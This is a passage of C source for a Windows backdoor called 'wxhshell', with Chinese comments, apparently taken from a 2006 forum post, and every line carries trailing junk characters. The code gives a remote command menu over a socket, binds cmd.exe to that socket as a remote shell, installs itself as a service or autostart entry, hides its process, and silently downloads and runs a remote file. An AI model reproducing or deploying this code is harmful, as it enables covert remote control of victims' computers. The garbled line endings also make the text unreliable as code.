  else %(r.`I$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); suN}6C I  
  } (%4O\ s#l  
  else { VE^IA\J x  
X/D% cQ6  
    switch(cmd[0]) { NLev(B:OQH  
  t2FA|UF  
  // 帮助 R]d934s  
  case '?': { jZ,=tF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #*+$o<Q]9  
    break; fTi5Ej*/?)  
  } }x"8v&3CM_  
  // 安装 ZP<OyX?  
  case 'i': { sGGi7 %  
    if(Install()) cu4|!s`#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3nx*M=  
    else R`%O=S*]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0BP=SCi  
    break; Co:Rg@i(F  
    } r <$"T  
  // 卸载 ;4*mUD6  
  case 'r': { W"D>>]$|u  
    if(Uninstall()) &M #}?@!C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xHlO~:Lc  
    else p7,dl*'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +GNXV-S  
    break; [XD3}'Aa  
    } *zv*T"&ZP  
  // 显示 wxhshell 所在路径 )24 1-b V  
  case 'p': { + $Lc'G+:  
    char svExeFile[MAX_PATH]; Rab7Y,AA  
    strcpy(svExeFile,"\n\r"); 6I\4Yv$N  
      strcat(svExeFile,ExeFile); zoau5t  
        send(wsh,svExeFile,strlen(svExeFile),0); !Ic~_7"  
    break; p$$0**p!`  
    } t'HrI-x  
  // 重启 W'Y#(N[ktP  
  case 'b': { GOX2'N\h^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fczH^+mI  
    if(Boot(REBOOT)) !PEP`wEKdp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e @|uG%  
    else { nO8e'&|  
    closesocket(wsh); {fn1sGA  
    ExitThread(0); N. 0~4H %U  
    } \WM"VT  
    break; E~`<n]{G-C  
    } LC0g"{M  
  // 关机 ]KQBek#DD  
  case 'd': { ]fU0;jzX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vk3C&!M<a  
    if(Boot(SHUTDOWN)) Bv^5L>JZ/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Q DeS|l  
    else { P5Pb2|\*  
    closesocket(wsh); Y58et9gRO  
    ExitThread(0); f}Uf* Bp  
    } (q=),3/<pU  
    break; P?<G:]W  
    } E7@m& R  
  // 获取shell B\quXE)  
  case 's': { 1j!{?t ?  
    CmdShell(wsh); uL=FK  
    closesocket(wsh); k}e~xbh-y  
    ExitThread(0); #6 M3BF  
    break; cTdX'5  
  } q)y<\cEO  
  // 退出 e^-CxHwA-  
  case 'x': { ~L9I@(/ S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); le~p2l#e   
    CloseIt(wsh); 17!<8vIV$C  
    break; ")3$. '5Dg  
    } l  !JTM  
  // 离开 ;Lk07+3G  
  case 'q': { ~lr,}K,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n fMU4(:  
    closesocket(wsh); mfr7w+DK  
    WSACleanup(); ,xy$h }g  
    exit(1); eJ60@N\A  
    break; `'b2 z=j  
        } .-cx9&  
  } D8)6yPwE  
  } Vv*](iM  
Gg5+Ap D  
  // 提示信息 > |(L3UA9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'E4}++\  
} Eu$hC]w  
  } q4Y7 HE|ym  
; r95i1a'  
  return; Z4D[nPm$  
} X=%e'P*X  
t+A9nvj)  
// shell模块句柄 4&G #Bi  
int CmdShell(SOCKET sock) 6rN.)dL.#N  
{ [(Ihue  
STARTUPINFO si; H ~lvUHN  
ZeroMemory(&si,sizeof(si)); 1F{,Zr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rchKrw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i?'|}tK  
PROCESS_INFORMATION ProcessInfo; $SdpF-'  
char cmdline[]="cmd"; ,y[8Vz?:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lZ?YyRsa6&  
  return 0; <4.j] BE  
} 3NN )ql  
sQLjb8!7  
// 自身启动模式 75H;6(7  
int StartFromService(void) 1 abQoe  
{ B$_-1^L e  
typedef struct !qug^F  
{ #?7g_  
  DWORD ExitStatus; N)  
  DWORD PebBaseAddress; y`J8hawp  
  DWORD AffinityMask; 6K5mMu#4  
  DWORD BasePriority; qzi i[Mf  
  ULONG UniqueProcessId; 8T3Nz8Q7  
  ULONG InheritedFromUniqueProcessId; k;l^y%tzp  
}   PROCESS_BASIC_INFORMATION; LMI7Ih;  
5GDg_9Bz  
PROCNTQSIP NtQueryInformationProcess; 8Bx58$xRq  
)Qh*@=$-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; axz.[L_elB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zo}vV2  
\-r"%@OkW  
  HANDLE             hProcess; R#HX}[Hb  
  PROCESS_BASIC_INFORMATION pbi; |F&02 f!]@  
pSodT G$E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =&WH9IKz  
  if(NULL == hInst ) return 0; -b=A j8h  
G@scz!Nt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \/R $p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0t6DD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Te7xj8<  
=!IoL7x  
  if (!NtQueryInformationProcess) return 0; _a  zJ>  
}N"YlGY\Yn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L`"V_ "Q#0  
  if(!hProcess) return 0; T%SK";PAU$  
u0nIr9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -v$ q8_$m"  
$aHHXd}@t2  
  CloseHandle(hProcess); RhkTN'vO  
UD ;UdehC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +IG=|X  
if(hProcess==NULL) return 0; "pc t#  
'CCAuN>J  
HMODULE hMod; [I}xR(a@n  
char procName[255]; L#\5)mO.v  
unsigned long cbNeeded; !HKW_m^3J  
3|bbJ6*.<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bRK\Tua 6  
S%jFH4#  
  CloseHandle(hProcess); 5TLE%#G@+  
iKG,"  
if(strstr(procName,"services")) return 1; // 以服务启动 )&qr2Cm*  
e//jd&G  
  return 0; // 注册表启动 $0Un'"`S  
} R]4 h)"  
~"r(PCa@  
// 主模块 >S]"-0tGD=  
int StartWxhshell(LPSTR lpCmdLine) D+{& zo  
{ ~#7uNH2  
  SOCKET wsl; H/ar: j  
BOOL val=TRUE; \w)ddc!ZS  
  int port=0; o^b5E=?>C  
  struct sockaddr_in door; PCnu?e3F  
g9j&\+h^  
  if(wscfg.ws_autoins) Install(); okTqq=xd`  
%uvA3N>  
port=atoi(lpCmdLine); $f+cd8j?o  
2Q;rSe._`  
if(port<=0) port=wscfg.ws_port; C=JS]2W2  
x|)pZa  
  WSADATA data; ^7YZ>^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mQ2=t%  
S{N=9934_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ey{p;;H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SNSHX2  
  door.sin_family = AF_INET; A[m<xtm5K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); co-1r/ -O  
  door.sin_port = htons(port); 2x~Pq_?y  
M,<UnAVP-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aI 1tG  
closesocket(wsl); FmgMd)#  
return 1; fpJ%{z2  
} ~Gl5O`w(  
FT!Xr  
  if(listen(wsl,2) == INVALID_SOCKET) { :"cKxd  
closesocket(wsl); 8y;gs1d;A  
return 1; m;!X{CV  
} JA4}B wn  
  Wxhshell(wsl); k}!'@  
  WSACleanup(); xXSfYW  
nX8ulGGs  
return 0; <,Mf[R2N>  
L.8`5<ITw  
} uw(Ml=  
Gh 352  
// 以NT服务方式启动 3gtKD9RL:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -B#K}xL|x  
{ "^wIixOH5  
DWORD   status = 0; ;7*T6~tv  
  DWORD   specificError = 0xfffffff; yw{r:fy  
~zVe?(W  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  /#zs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TSVlZy~Xo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gH*(1*  
  serviceStatus.dwWin32ExitCode     = 0; V=8npz   
  serviceStatus.dwServiceSpecificExitCode = 0; J[c`Qq:&e  
  serviceStatus.dwCheckPoint       = 0; rp|A88Q/!  
  serviceStatus.dwWaitHint       = 0; 35L\  
q>.C5t'Qx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LIT`~D  
  if (hServiceStatusHandle==0) return; NDJP`FI  
t:b}Mo0  
status = GetLastError(); W j`f^^\HJ  
  if (status!=NO_ERROR) |Qn>K   
{ 4vV\vXT*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \["I.gQ  
    serviceStatus.dwCheckPoint       = 0; M>xT\  
    serviceStatus.dwWaitHint       = 0; 0[ (kFe  
    serviceStatus.dwWin32ExitCode     = status; D[)_ f  
    serviceStatus.dwServiceSpecificExitCode = specificError; N:~4>p44[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '*^9'=  
    return; "Y@q?ey[1  
  } ).-#  
1 hD(l6tG@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PcI~,e%  
  serviceStatus.dwCheckPoint       = 0; V Ds0+RC  
  serviceStatus.dwWaitHint       = 0; Q\N >W+d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2#N?WlYw<S  
} $k`j";8uR  
5 ed|]LP  
// 处理NT服务事件,比如:启动、停止 (LJ7xoJ^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `ZT/lB`  
{ JP^\   
switch(fdwControl) _&S;*?K.  
{ Gte\=0Wr  
case SERVICE_CONTROL_STOP: i)$ySlEh  
  serviceStatus.dwWin32ExitCode = 0; |>'q%xK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pCC^Hxa  
  serviceStatus.dwCheckPoint   = 0; Wr-I~>D%_  
  serviceStatus.dwWaitHint     = 0; X*9-P9x(6  
  { >pe!T aBN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n)\(\V7  
  } EAy@kzY?  
  return; l dp$jrNLr  
case SERVICE_CONTROL_PAUSE: AGKT*l.-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p,!IPWo  
  break; ;aD?BD__Z  
case SERVICE_CONTROL_CONTINUE: .{|SKhXk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *\cU}qjk  
  break; 1 1(GCu  
case SERVICE_CONTROL_INTERROGATE: <[u(il  
  break; GVfRy@7n  
}; ddd2w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1(RRjT 9  
} I:6XM?  
eu":\ks  
// 标准应用程序主函数 Z?V vFEt%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <PM.4B@  
{ U@D\+T0  
Spin]V  
// 获取操作系统版本 C ](djkA$  
OsIsNt=GetOsVer(); pG'?>]Rt4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2EYWX! Bx  
Y*{5'q+2  
  // 从命令行安装 c *<m.  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1_l)$"  
pF9WKpzE  
  // 下载执行文件 u:tcL-;U  
if(wscfg.ws_downexe) { ei"c|/pO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [j0jAl  
  WinExec(wscfg.ws_filenam,SW_HIDE); J8ScKMUN2  
} k'+y  
d_ x jW  
if(!OsIsNt) { MZxU)QW1  
// 如果时win9x,隐藏进程并且设置为注册表启动 '=xO?2U-Z  
HideProc(); RCoDdtMo  
StartWxhshell(lpCmdLine); ydj*Jy'  
} .}T-R?  
else #_ UP}G$  
  if(StartFromService()) *ae)<l3v  
  // 以服务方式启动 lY2~{Y|4s  
  StartServiceCtrlDispatcher(DispatchTable); u J]uz%  
else GG-b)64h`  
  // 普通方式启动 AEDBr<  
  StartWxhshell(lpCmdLine); 6y57m;JW/  
(ti!Y"e2  
return 0; eW8{ ],B  
}
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只看该作者 1 发表于: 2006-10-10
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